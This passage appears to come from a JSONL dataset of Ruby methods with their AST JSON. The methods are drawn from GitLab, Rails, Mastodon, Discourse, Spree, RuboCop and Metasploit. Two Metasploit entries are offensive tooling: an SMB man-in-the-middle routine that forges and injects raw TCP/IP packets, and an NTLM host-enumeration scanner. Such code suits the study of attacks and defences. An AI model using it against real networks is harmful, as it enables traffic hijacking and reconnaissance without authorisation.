send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shell\"]},\"ssh_user\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shell\"]},\"ssh_host\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\".git\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"http://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\".git\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"[]\",{\"type\":\"str\",\"children\":[\"Content-Type\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"str\",\"children\":[\"text/html\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<html><head><meta name=\\\"go-import\\\" content=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" git \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repository_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\"></head><body>go get \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root_url\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"</body></html>\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_body\"]}]}]}]}]}]}","id":"8ba35df1-0c82-4bdc-8f48-bc83fa4fe5c6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/smb/shadow_mitm_dispatcher.rb","start_line":111,"raw_source":"def send_packet(packet, nbss_header: true, tcp_flags: { ack: 1, psh: 1 }, tcp_opts: \"\")\n data = nbss_header ? nbss(packet) : ''\n if packet.respond_to?(:to_binary_s)\n data << packet.to_binary_s\n else\n data << packet\n end\n eth_header = PacketFu::EthHeader.new(eth_src: @eth_src, eth_dst: @eth_dst)\n ip_header = PacketFu::IPHeader.new(ip_src: @ip_src, ip_dst: @ip_dst)\n tcp_header = PacketFu::TCPHeader.new(\n tcp_src: @tcp_src,\n tcp_dst: @tcp_dst,\n tcp_seq: @tcp_seq,\n tcp_ack: @tcp_ack,\n tcp_win: @tcp_win,\n tcp_flags: tcp_flags,\n tcp_opts: tcp_opts\n )\n pkt = PacketFu::TCPPacket.new(eth: eth_header, ip: ip_header, tcp: tcp_header)\n pkt.payload = data\n pkt.recalc\n @stream.close if @stream\n @ccap = PacketFu::Capture.new(\n iface: @interface,\n promisc: false,\n start: true,\n filter: \"ether dst #{@mac} and not ether src #{@mac} and src port #{@tcp_dst} and dst port #{@tcp_src}\"\n )\n @stream = @ccap.stream\n if data.size > @tcp_mss\n ip_body = pkt.ip_header.body.to_s\n ip_id = pkt.ip_header.ip_id\n ip_body.chars.each_slice(@tcp_mss+40).each_with_index do |frag, index|\n fpkt = PacketFu::IPPacket.new(eth: eth_header.to_s, ip: ip_header.to_s)\n fpkt.ip_id = ip_id\n fpkt.ip_header.ip_frag = 0x20*0x100 unless (index+1)*(@tcp_mss+40) >= ip_body.size\n fpkt.ip_header.ip_frag = fpkt.ip_header.ip_frag + ((@tcp_mss+40)/8)*index\n fpkt.payload = frag.join\n fpkt.ip_header.ip_recalc(:ip_len)\n fpkt.ip_header.ip_recalc(:ip_sum)\n fpkt.to_w(@interface)\n end\n else\n pkt.to_w(@interface)\n end\n nil\n end","complexity_score":93.75,"ast_json":"{\"type\":\"def\",\"children\":[\"send_packet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packet\"]},{\"type\":\"kwoptarg\",\"children\":[\"nbss_header\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"tcp_flags\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ack\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"psh\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"tcp_opts\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nbss_header\"]},{\"type\":\"send\",\"children\":[null,\"nbss\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_binary_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"to_binary_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"eth_header\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"EthHeader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eth_src\"]},{\"type\":\"ivar\",\"children\":[\"@eth_src\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eth_dst\"]},{\"type\":\"ivar\",\"children\":[\"@eth_dst\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ip_header\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"IPHeader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_src\"]},{\"type\":\"ivar\",\"children\":[\"@ip_src\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip_dst\"]},{\"type\":\"ivar\",\"children\":[\"@ip_dst\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tcp_header\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"TCPHeader\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_src\"]},{\"type\":\"ivar\",\"children\":[\"@tcp_src\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_dst\"]},{\"type\":\"ivar\",\"children\":[\"@tcp_dst\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_seq\"]},{\"type\":\"ivar\",\"children\":[\"@tcp_seq\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_ack\"]},{\"type\":\"ivar\",\"children\":[\"@tcp_ack\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_win\"]},{\"type\":\"ivar\",\"children\":[\"@tcp_win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_flags\"]},{\"type\":\"lvar\",\"children\":[\"tcp_flags\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp_opts\"]},{\"type\":\"lvar\",\"children\":[\"tcp_opts\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"TCPPacket\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eth\"]},{\"type\":\"lvar\",\"children\":[\"eth_header\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"lvar\",\"children\":[\"ip_header\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tcp\"]},{\"type\":\"lvar\",\"children\":[\"tcp_header\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"payload=\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"recalc\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stream\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stream\"]},\"close\"]},null]},{\"type\":\"ivasgn\",\"children\":[\"@ccap\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"Capture\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iface\"]},{\"type\":\"ivar\",\"children\":[\"@interface\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"promisc\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ether dst \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mac\"]}]},{\"type\":\"str\",\"children\":[\" and not ether src \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mac\"]}]},{\"type\":\"str\",\"children\":[\" and src port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tcp_dst\"]}]},{\"type\":\"str\",\"children\":[\" and dst port \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tcp_src\"]}]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ccap\"]},\"stream\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"size\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@tcp_mss\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ip_body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"ip_header\"]},\"body\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ip_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"ip_header\"]},\"ip_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_body\"]},\"chars\"]},\"each_slice\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tcp_mss\"]},\"+\",{\"type\":\"int\",\"children\":[40]}]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"frag\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fpkt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PacketFu\"]},\"IPPacket\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"eth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eth_header\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_header\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"ip_id=\",{\"type\":\"lvar\",\"children\":[\"ip_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tcp_mss\"]},\"+\",{\"type\":\"int\",\"children\":[40]}]}]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip_body\"]},\"size\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"ip_header\"]},\"ip_frag=\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[32]},\"*\",{\"type\":\"int\",\"children\":[256]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"ip_header\"]},\"ip_frag=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"ip_header\"]},\"ip_frag\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tcp_mss\"]},\"+\",{\"type\":\"int\",\"children\":[40]}]}]},\"/\",{\"type\":\"int\",\"children\":[8]}]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"frag\"]},\"join\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"ip_header\"]},\"ip_recalc\",{\"type\":\"sym\",\"children\":[\"ip_len\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"ip_header\"]},\"ip_recalc\",{\"type\":\"sym\",\"children\":[\"ip_sum\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fpkt\"]},\"to_w\",{\"type\":\"ivar\",\"children\":[\"@interface\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"to_w\",{\"type\":\"ivar\",\"children\":[\"@interface\"]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"6fc34490-3455-4edc-9681-1333dbe1ad49"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/rubocop/formatter/graceful_formatter_spec.rb","start_line":218,"raw_source":"def fake_offense(cop_name)\n # rubocop:disable RSpec/VerifiedDoubles\n double(\n :offense,\n cop_name: cop_name,\n corrected?: false,\n correctable?: false,\n severity: double(:severity, name: :convention, code: :C),\n line: 5,\n column: 23,\n real_column: 23,\n corrected_with_todo?: false,\n message: \"#{cop_name} message\",\n location: double(:location, source_line: 'line', first_line: 1, last_line: 1, single_line?: true),\n highlighted_area: double(:highlighted_area, begin_pos: 1, size: 2, source_buffer: 'line', source: 'i')\n )\n # rubocop:enable RSpec/VerifiedDoubles\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"fake_offense\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cop_name\"]}]},{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"sym\",\"children\":[\"offense\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cop_name\"]},{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"corrected?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"correctable?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"sym\",\"children\":[\"severity\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"convention\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"sym\",\"children\":[\"C\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"real_column\"]},{\"type\":\"int\",\"children\":[23]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"corrected_with_todo?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cop_name\"]}]},{\"type\":\"str\",\"children\":[\" message\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_line\"]},{\"type\":\"str\",\"children\":[\"line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_line\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_line\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"single_line?\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"highlighted_area\"]},{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"sym\",\"children\":[\"highlighted_area\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"begin_pos\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_buffer\"]},{\"type\":\"str\",\"children\":[\"line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"i\"]}]}]}]}]}]}]}]}","id":"2f6b994b-c28a-4212-8cd7-b73659c4129a"} {"repo_name":"discourse","file_path":"./repos/discourse/script/build_jsconfig.rb","start_line":21,"raw_source":"def relative(from, to)\n relative_path = Pathname.new(to).relative_path_from(from).to_s\n relative_path = \"./#{relative_path}\" if !relative_path.start_with?(\".\")\n relative_path\nend","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"relative\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"arg\",\"children\":[\"to\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relative_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"to\"]}]},\"relative_path_from\",{\"type\":\"lvar\",\"children\":[\"from\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relative_path\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\".\"]}]},\"!\"]},{\"type\":\"lvasgn\",\"children\":[\"relative_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"./\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relative_path\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"relative_path\"]}]}]}","id":"8dce24c5-a490-43f0-9480-376ccfaf4d79"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb","start_line":504,"raw_source":"def insert_fixture(fixture, table_name)\n execute(build_fixture_sql(Array.wrap(fixture), table_name), \"Fixture Insert\")\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_fixture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fixture\"]},{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[null,\"build_fixture_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"fixture\"]}]},{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"Fixture Insert\"]}]}]}","id":"24fb8d05-6f18-4462-8388-1235b755b658"} {"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/products_controller.rb","start_line":42,"raw_source":"def resource_serializer\n Spree::Api::Dependencies.storefront_product_serializer.constantize\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_serializer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Api\"]},\"Dependencies\"]},\"storefront_product_serializer\"]},\"constantize\"]}]}","id":"71f65577-918c-4355-ad4e-012fea946cdb"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/registration_helper.rb","start_line":6,"raw_source":"def allowed_registration?(remote_ip, invite)\n !Rails.configuration.x.single_user_mode && !omniauth_only? && (registrations_open? || invite&.valid_for_use?) && !ip_blocked?(remote_ip)\n end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_registration?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"remote_ip\"]},{\"type\":\"arg\",\"children\":[\"invite\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"single_user_mode\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"omniauth_only?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registrations_open?\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invite\"]},\"valid_for_use?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ip_blocked?\",{\"type\":\"lvar\",\"children\":[\"remote_ip\"]}]},\"!\"]}]}]}","id":"0ab6b153-52fe-442b-bf37-131bf6435011"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/yoda_expression.rb","start_line":78,"raw_source":"def supported_operators\n Array(cop_config['SupportedOperators'])\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"supported_operators\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cop_config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SupportedOperators\"]}]}]}]}","id":"e17fbdc7-26d0-4837-ae88-bcb3526a70bc"} {"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/stats_helper.rb","start_line":141,"raw_source":"def build_distance_by_date_hash(stat)\n stat.daily_distance.to_h.transform_keys do |day_number|\n Date.new(stat.year, stat.month, day_number)\n end\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_distance_by_date_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"daily_distance\"]},\"to_h\"]},\"transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"day_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"year\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"month\"]},{\"type\":\"lvar\",\"children\":[\"day_number\"]}]}]}]}","id":"384c3d39-2720-4177-be3a-712dc92c03a4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/ntlm_info_enumeration.rb","start_line":61,"raw_source":"def handle_result(path, result)\n message = \"Enumerated info on #{peer}#{path} - \"\n message << \"(name:#{result[:nb_name]}) \"\n message << \"(domain:#{result[:nb_domain]}) \"\n message << \"(domain_fqdn:#{result[:dns_domain]}) \"\n message << \"(server_fqdn:#{result[:dns_server]}) \"\n message << \"(os_version:#{result[:os_version]})\"\n print_good(message)\n report_note(\n host: rhost,\n port: rport,\n proto: 'tcp',\n sname: (ssl ? 'https' : 'http'),\n ntype: 'ntlm.enumeration.info',\n data: {\n uri: path,\n SMBName: result[:nb_name],\n SMBDomain: result[:nb_domain],\n FQDNDomain: result[:dns_domain],\n FQDNName: result[:dns_server]\n },\n update: :unique_data\n )\n end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Enumerated info on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" - \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(name:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nb_name\"]}]}]},{\"type\":\"str\",\"children\":[\") 